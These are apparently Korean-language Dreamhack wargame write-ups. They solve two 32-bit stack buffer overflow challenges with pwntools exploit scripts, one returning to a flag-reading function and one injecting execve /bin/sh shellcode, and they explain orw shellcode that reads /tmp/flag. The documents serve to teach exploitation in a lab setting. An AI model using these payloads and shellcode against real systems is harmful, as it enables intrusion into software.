이게 왜 001이지?ㅋㅋ

000을 푼 사람이라면 쉡게 풀 수 있다....

문제

환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.

32bit 환경이므로 스택 프레임 구조   buf(n) | sfp(4) | ret(4)  이렇게 유추할 수 있다.

그리고 000과 다르게 'NX enabled'이기 때문에, 쉘 코드로 풀 수는 없다.

 

 

 

문제 파일

gets()스택 버퍼 오버플로우 취약점이 존재하는 위험한 함수다.

코드 안에 read_flag() 함수가 있기 때문에 오버플로우로 ret을 해당 함수 주소로 오염시키면 될 것 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

 

 

풀이

gdb로 분석한다.

 스택 프레임 구조가   buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로

retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.

 

 

위 내용으로 스택 프레임의 구조를 아래와 같이 표현할 수 있다.

 

 

따라서 페이로드는 다음과 같이 구성하면 된다.

 

 

read_flag 함수의 주소를 확인한다. 0x080485b9

 

 

 

exploit 코드를 작성한다.

from pwn import *

p = remote('host3.dreamhack.games',19353)

payload = b"\x90" * 132
payload += p32(0x080485b9)     #주소를 리틀 엔디안 방식으로 패킹

p.sendline(payload)
p.interactive()

 

 

 

exploit 파일을 실행시키면 read_flag 함수가 실행되어, flag가 출력된다.

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문제

환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.

32bit 환경이므로 스택 프레임 구조   buf(n) | sfp(4) | ret(4)  이렇게 유추할 수 있다.

 

 

 

문제 파일

buf는 128바이트(0x80)로 선언되었는데, scanf("%141s", buf)에서

buf에 128바이트를 초과한 141바이트까지 읽을 수 있도록 되어 있다. 

버퍼 오버플로우 취약점을 이용해 쉘을 얻어보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

 

 

풀이

먼저 우분투 환경에서 파일을 생성한다.

 

해당 파일을 컴파일한다.

 

실행해보면, buf의 주소가 출력된다. 하지만 이 값은 30초마다 변경된다.

 

gdb로 분석한다.

 스택 프레임 구조가   buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로

retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.

 

 

위 내용을 통해 스택 프레임 구조를 알 수 있다.

 

따라서 페이로드는 다음과 같이 구성한다.

 

 

 

 

 

파이썬 pwntools 모듈로 exploit 코드를 작성한다.

from pwn import *

p = remote('host3.dreamhack.games',22834)
context.arch = "i386" 

p.recvuntil(b"buf = (") 
buf_addr = int(p.recv(10),16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90" * 106
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

buf = (0x· · · · · · · ·)으로 출력되기 때문에, 'buf = ('을 없애고 buf 주소 10자리를 16진수로 받아서 저장한다.

그리고 26바이트  shellcode를 사용해야한다.

(기본 25바이트 코드를 사용했다가 한참 헤매었다. scanf 함수 때문에 꼭 26 바이트 쉘코드를 사용한다.)

132-26=106 만큼 의미없는 값을 채워주고 buf 주소를 넣는다.

 

 

 

exploit 파일을 실행하면 쉘을 얻을 수 있다.

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open, read, write 

 orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셀코드이다. 

 

 

먼저 open, read, write syscall은 다음과 같다.

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02` const char *filename int flags umode_t mode

 

 

해당 syscall을 사용하여 파일을 열고 읽고 출력하는 어셈블리 코드다.

push 0x67		
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

 

코드 분석

한줄 한줄 살펴보자.

push 0x67
mov rax, 0x616c662f706d742f
push rax

스택에는 8 바이트 단위로만 값을 push할 수 있으므로, “/tmp/flag”라는 문자열을 쪼개서 push 한다.

스택에 먼저 0x67( ASCII 코드로 'g')를 push하고, rax 레지스터에 남은 문자열을 저장한 뒤, 해당 레지스터를 스텍에 push 한다.

결과적으로 스택에 “/tmp/flag”라는 문자열이 저장된다.

 

mov rdi, rsp

rsp 레지트터는 현재 스택 포인터를 가르킨다.

현재 스택에 저장된 문자열의 주소가 rdi 레지스터에 저장된다.

 

xor rsi, rsi
xor rdx, rdx

xor 연산자는 두 오퍼랜드가 같을 때 0을 반환하므로, rsi 레지스터를 0으로 만든다.

rsi를 0으로 설정하여 O_RDONLY (파일 읽기 전용) 플래그를 설정한다.

rdx는 open syscall에서 사용되지 않으므로 0으로 설정한다.

 

mov rax, 2
syscall

rax에 2를 저장합니다. 2는 syscall 번호로, 파일을 여는 open 호출에 해당한다.

시스템호출을 실행하여 open("/tmp/flag", O_RDONLY, NULL) 호출이 실행된다.

열린 파일의 파일 디스크립터가 rax에 반환된다.

 

mov rdi, rax
mov rsi, rsp

rax에 반환된 파일 디스크립터를 rdi로 옮긴다. 이제 rdi는 read 시스템호출에서 파일 디스크립터로 사용된다.

그리고 현재 스택 포인터(rsp)를 rsi에 저장한다.

 

sub rsi, 0x30
mov rdx, 0x30

rsi를 0x30(48)만큼 감소시켜 메모리 공간을 확보한다. 이 공간을 파일 데이터를 저장할 버퍼 역할을 한다.

rdx에 0x30을 저장한다. 이는 읽어올 바이트 수를 나타낸다.

 

mov rax, 0x0
syscall

rax에 0을 저장한다. 0은 read 시스템호출에 해당한다.

시스템 호출을 실행한다.( read(fd, buf, 48)) 이 호출은 rdi의 파일 디스크립터에서 rsi가 가리키는 버퍼 48 byte를 읽는다.

 

mov rdi, 1
mov rax, 0x1
syscall

rdi에 1을 저장한다. 1은 표준 출력(stdout)을 나타내는 파일 디스크립터이다.

rax에 1을 저장한다. 1은 write 시스템호출에 해당한다.

시스템호출을 실행한다.(write(1, buf, 48)) 이 호출은 rsi가 가리키는 버퍼에 있는 48byte를 표준 출력으로 출력한다.

 

 

 

셸코드 컴파일

운영체제는 실행 가능한 파일의 형식을 규정하고 있다.(윈도우-PE, 리눅스-ELF)

ELF는 헤더와 코드 그리고 기타 데이터로 구성되어 있다.

 

위 셸코드 orw.S는 ELF 형식이 아니므로 리눅스에서 실행될 수 없다.

gcc 컴파일을 통해 위 코드를 ELF 형식으로 변형하자.

 

스켈레톤 코드(핵심 내용이 비어있는, 기본 구조만 갖춘 코드)를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용한다. 스켈레톤 코드는 다음과 같다.

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

위 스켈레톤 코드에 미리 작성해둔 셸코드를 채운다.

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

 

 

 

셸코드 실행

셸코드 실행 전에 /tmp/flag 파일을 생성한다.

 

orw.c 파일을 작성하고, 컴파일한다.

 

컴파일한 orw를 실행하면 /tmp/flag 파일의 내용이 출력된다.

 

 

 

 

 

셸코드 디버깅

디버깅을 통해 셸코드의 동작을 자세히 분석해보자.

 

gdb로 orw를 열고, run_sh()브레이크 포인트를 설정한다.

 

 

run_sh()의 시작 부분까지 코드를 실행시킨다.

 

rip 레지스터에 브레이크 포인트가 저장된 것을 확인할 수 있다.

 

 

 

첫번째 syscall이 위치한 ' run_sh+29'를 브레이크 포인트로 설정한 후에 실행한다.

 

open(“/tmp/flag”, O_RDONLY, NULL);가 실행됨을 확인할 수 있다.

 

 

ni(next instruction) 명령어로 syscall을 실행하면, open 시스템호출을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장된다.

(fd(3)는 특정 파일이나 자원에 대한 열린 파일 디스크립터를 의미)

 

 

위 과정과 동일하게 두 번째 syscall(read)이 위치한 run_sh+55에 브레이크 포인트를 설정한다.

 

 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffdd88에 저장하는 것을 확인할 수 있다.

 

 

ni 명령어로 syscall(read)을 실행한다.

 

파일의 내용이 0x7fffffffdd88 에 저장되었음을 알 수 있다.

 

 

마지막으로 'run_sh+71'에 브레이크 포인트를 걸어서 write 시스템호출을 살펴보자.

 

ni 명령어를 사용해서 syscall 을 실행시키면 파일 내용이 출력된다.

 

 

 

초기화되지 않은 메모리 영역 사용

/tmp/flag의 데이터 외에 알 수 없는 문자열이 출력되는 경우가 있는데, 이는 초기화되지 않은 메모리 영역 사용에 의한 것이다.

$ ./orw
flag{this_is_open_read_write_shellcode!}
&��U

 

  • 초기화되지 않은 메모리란, 메모리가 할당되었지만 그 내용이 설정되지 않은 상태를 말한다. 할당된 메모리는 이전에 사용된 값(가비지 값)을 포함할 수 있다.
  • 이러한 메모리는 프로그래머가 변수에 명시적으로 값을 할당하지 않은 경우 발생할 수 있다. 예를 들어, 자동 변수(로컬 변수)는 명시적으로 초기화되지 않으면 가비지 값을 가지게 된다.
  • 보안 문제: 공격자가 초기화되지 않은 메모리의 내용을 악용할 수 있으며, 이로 인해 정보 유출이나 프로그램 오작동을 유도할 수 있다. 쓰레기 값은 어셈블리 코드의 주소나 어떤 메모리의 주소일 수 있으며, 이런 중요한 값을 유출해 내는 작업을 메모리 릭(Memory Leak)이라고 한다.

 

 

 

 

https://fight-hacker.tistory.com/2

 

[드림핵] execve 셸코드 (Shellcode)

셸(Shell)은 운영체제에 명령을 내리기 위한 사용자 인터페이스로, 운영체제의 핵심 기능을 담당하는 커널(Kernel)과 대비됩니다. 셸을 획득하면 시스템을 제어할 수 있어, 해킹에서 셸 획득은 성공

fight-hacker.tistory.com

 

 

 

 

참고 - 드림핵( System Hacking )

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